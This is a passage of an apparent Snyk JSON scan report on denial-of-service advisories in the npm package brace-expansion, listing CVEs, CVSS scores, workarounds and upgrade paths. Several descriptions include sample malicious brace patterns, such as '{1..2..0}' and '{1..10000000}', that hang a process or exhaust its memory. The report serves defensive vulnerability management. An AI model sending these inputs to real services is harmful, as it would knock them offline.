"cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", 